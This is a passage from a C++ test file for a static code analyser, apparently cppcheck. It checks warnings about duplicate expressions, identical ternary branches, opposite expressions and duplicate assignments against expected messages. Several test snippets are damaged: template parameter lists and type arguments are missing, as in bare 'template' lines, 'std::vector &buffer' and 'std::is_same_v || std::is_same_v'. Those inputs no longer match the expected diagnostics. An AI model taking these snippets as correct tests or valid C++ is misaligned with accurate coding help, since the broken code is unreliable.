check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); 